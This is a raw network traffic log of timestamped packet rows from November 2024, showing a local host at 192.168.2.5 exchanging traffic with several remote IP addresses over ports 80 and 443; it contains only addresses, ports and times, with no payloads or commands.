Nov 24, 2024 23:24:34.390664101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.390742064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.391398907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.391450882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.391843081 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.391923904 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.392260075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.392309904 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.392384052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.392436028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.393181086 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.393230915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.393330097 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.393393993 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.394057989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.394124985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.394562960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.394613028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.394962072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.395010948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.395706892 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.395777941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.395862103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.395878077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.395929098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.395965099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.485779047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.485841990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.485893011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.485913038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.486183882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.486352921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.486393929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.486484051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.486506939 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.486532927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.487296104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.487306118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.487354994 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.488157034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.488212109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.855838060 CET	443	49808	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.855926991 CET	443	49808	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.856003046 CET	49808	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.856148005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856156111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856163979 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856172085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856203079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856210947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856225967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856234074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856240034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.856242895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856251001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856249094 CET	443	49812	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.856288910 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.856292963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856301069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856317043 CET	443	49812	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.856338024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.856343031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856350899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856374025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856390953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856394053 CET	49812	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.856410027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.856431961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856436014 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856436968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.856468916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856478930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856496096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.856515884 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.856534004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856544018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856560946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856569052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856586933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856595993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856604099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856606960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.856611967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856616974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.856620073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856626987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856635094 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856640100 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.856657982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.856677055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.856837034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.856889963 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.857007027 CET	49808	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.857019901 CET	443	49808	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.857042074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.857045889 CET	49808	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.857050896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.857053041 CET	443	49808	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.857109070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.857212067 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.857220888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.857237101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.857268095 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.857279062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.857503891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.857513905 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.857552052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.858262062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858270884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858278990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858287096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858294964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858316898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.858352900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.858417034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858427048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858433962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858442068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858464956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.858491898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.858568907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858577967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858592987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858602047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858609915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858618021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858623028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.858625889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858633995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858655930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.858680964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.858719110 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858727932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858736038 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858745098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858752966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858761072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858764887 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.858795881 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.858804941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.858876944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858886003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858901024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858915091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858916044 CET	49812	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.858917952 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858927011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858927965 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.858935118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858949900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.858962059 CET	443	49812	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.858968019 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.859000921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.859045029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.859052896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.859069109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.859076977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.859100103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.859110117 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.859123945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.859160900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.859205008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.859214067 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.859220982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.859229088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.859236956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.859246016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.859252930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.859282017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.859282970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.859291077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.859298944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.859304905 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.859322071 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.859327078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.859335899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.859338999 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.859340906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.859365940 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.859376907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.859385014 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.859394073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.859399080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.859406948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.859417915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.859421968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.859431028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.859436035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.859438896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.859447956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.859456062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.859460115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.859462976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.859482050 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.859509945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.860425949 CET	443	49811	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.860546112 CET	443	49811	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.860646963 CET	49811	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.862742901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.862752914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.862777948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.862786055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.862803936 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.862839937 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.862907887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.862921953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.862946987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.862953901 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.862984896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.863203049 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.863302946 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.864120960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864130020 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864136934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864145041 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864152908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864170074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864190102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864202976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.864206076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864212990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864221096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864228964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864245892 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864253998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.864254951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864263058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864278078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864285946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.864286900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864294052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864301920 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864306927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.864310026 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864326000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864331961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.864346027 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864356041 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.864362001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864371061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864377975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864388943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.864407063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.864423990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.864527941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864537001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864545107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864552975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864559889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864567995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864576101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864583969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864597082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.864625931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.864759922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864768028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864799023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864804029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.864809036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864851952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.864883900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864892960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864933968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864934921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.864943027 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.864988089 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.865008116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.865022898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.865046978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.865055084 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.865084887 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.865087032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.865097046 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.865127087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.865134954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.865135908 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.865149975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.865168095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.865174055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.865178108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.865185022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.865192890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.865200043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.865207911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.865216017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.865225077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.865233898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.865242004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.865242958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.865258932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.865281105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.865288019 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.865304947 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.865341902 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.865358114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.865365982 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.865432978 CET	49811	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.865492105 CET	443	49811	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.865525007 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.865528107 CET	49811	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.865544081 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.865547895 CET	443	49811	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.865772009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.865781069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.865787983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.865796089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.865803003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.865812063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.865819931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.865833044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.865834951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.865868092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.865890026 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.866451979 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.866503000 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.867010117 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.867085934 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.869199991 CET	49820	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.869209051 CET	443	49820	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.869425058 CET	49820	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.870850086 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.870929956 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.871522903 CET	49821	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.871539116 CET	443	49821	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.871541023 CET	443	49815	152.195.19.97	192.168.2.5
Nov 24, 2024 23:24:34.871623993 CET	49821	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.871819019 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.871834993 CET	49820	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.871849060 CET	443	49820	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.871918917 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.874430895 CET	49815	443	192.168.2.5	152.195.19.97
Nov 24, 2024 23:24:34.874447107 CET	443	49815	152.195.19.97	192.168.2.5
Nov 24, 2024 23:24:34.874705076 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.874712944 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.874876976 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.874891996 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.875528097 CET	443	49815	152.195.19.97	192.168.2.5
Nov 24, 2024 23:24:34.875612974 CET	49815	443	192.168.2.5	152.195.19.97
Nov 24, 2024 23:24:34.875678062 CET	49821	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.875689983 CET	443	49821	13.107.246.63	192.168.2.5
